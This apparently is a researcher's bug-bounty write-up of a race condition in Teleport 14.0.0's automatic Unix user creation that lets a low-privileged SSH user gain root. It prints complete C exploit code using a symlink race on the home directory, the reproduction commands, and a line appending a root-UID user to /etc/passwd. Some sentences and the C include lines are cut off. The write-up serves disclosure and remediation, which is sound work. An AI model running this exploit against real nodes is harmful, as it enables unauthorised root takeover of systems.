Privilege Escalation through Race Condition
Title: Privilege escalation through race condition Scope: https://github.com/gravitational/teleport Weakness: Privilege Escalation Severity: High (7.0) Date: 2023-09-28 20:42:40 +0000
Summary
Teleport's SSH Service can be configured to automatically create local Unix users upon login. This feature (in teleport v14.0.0) is vulnerable to privilege escalation through a race condition. There was a race condition that was fixed in v13.4.0, but this vulnerability is in the latest community version 14.0.0 (Release date: 20 September 2023).
Details
When creating a new user using the auto user creation feature,
teleport copies files from
Impact
Using this vulnerability any teleport user with low-privileged SSH access into a node can obtain root access to the node.
Reproduction
Setup
For proof of concept, I use the following setup:
-
A node that allows automatic user creation
Role config:
... # Allow automatic creation of users. create_host_user_mode: drop ... allow: logins: [ "teleautousr" ] ...
-
A user that has the privilege to SSH using automatic user creation as well as using another (automatic or permanent) user. Both of these users are low privileged.
User config:
... roles: - auto-users - ssh-access ... traits: logins: - ubuntu host_user_uid: - "1011"
auto-users role allows SSH using the userteleautousr . SSH asubuntu user is also allowed (under traits). For the purpose of PoC, I also set static UID for the user usinghost_user_uid .
Attack Steps
- SSH into the node as
teleautousr :$ tsh ssh teleautousr@secure
-
Go to a temporary directory and create a binary using the following C code and set SUID for it. Exploit code (
priv-esc.c ):#include
#include #include #include int main() { printf("EUID = %d\n", geteuid()); while(access("/home/teleautousr/.bashrc", F_OK) == 0) { ; } struct stat info; int notchanged; notchanged = 1; while(notchanged) { stat("/home/teleautousr", &info); if(info.st_uid == 1011) { symlink("/etc/passwd", "/home/teleautousr/zpasswd"); notchanged = 0; } } printf("end\n"); return 0; } $ cd /tmp/priv-esc $ gcc priv-esc.c -o priv-esc $ chmod u+s priv-esc $ ls -la total 18 drwxr-xr-x 2 teleautousr teleautousr 4 Sep 28 20:57 . drwxrwxrwt 24 root root 24 Sep 28 20:57 .. -rwsr-xr-x 1 teleautousr teleautousr 17032 Sep 28 20:57 priv-esc -rw-r--r-- 1 teleautousr teleautousr 524 Sep 28 20:57 priv-esc.c
-
Exit the existing session
$ exit the connection was closed on the remote side at 29 Sep 23 02:28 IST
-
Now SSH into the node as
ubuntu user, and run the exploit binary:$ tsh ssh ubuntu@secure ubuntu@secure:~ $ cd /tmp/priv-esc/ ubuntu@secure:/tmp/priv-esc $ ./priv-esc EUID = 1011
-
Keep the
ubuntu user's session live and log into the node again from another terminal using the userteleautousr $ tsh ssh teleautousr@secure
-
After login, check the
/etc/passwd file.teleautousr now owns this file. In other words,teleautousr can make itselfroot $ ls -la /etc/passwd -rw-r--r-- 1 teleautousr teleautousr 2310 Sep 28 20:59 /etc/passwd $ echo 'user3:$1$SaLt$cj0TR5cF40370hGXWA5cv1:0:0:/root/root:/bin/bash' >> /etc/passwd $ su user3 Password: # id uid=0(root) gid=0(root) groups=0(root)
Root Cause
The function that causes the vulnerability is
Potential Remediation
While changing the ownership, start from the leaf of a directory chain. In other words, change the ownership of files and folders in a directory before changing the ownership of the directory. Once the ownership of a directory is changed, the ownership of its contents should not be changed.Response from Teleport
While I was very excited about this report, this was marked duplicate by Teleport. However, they were very kind to give me a token of appreciation by sending a coupon to buy some goodies! The very next day, I reported another issue for which they gave me a four digit bounty!
The end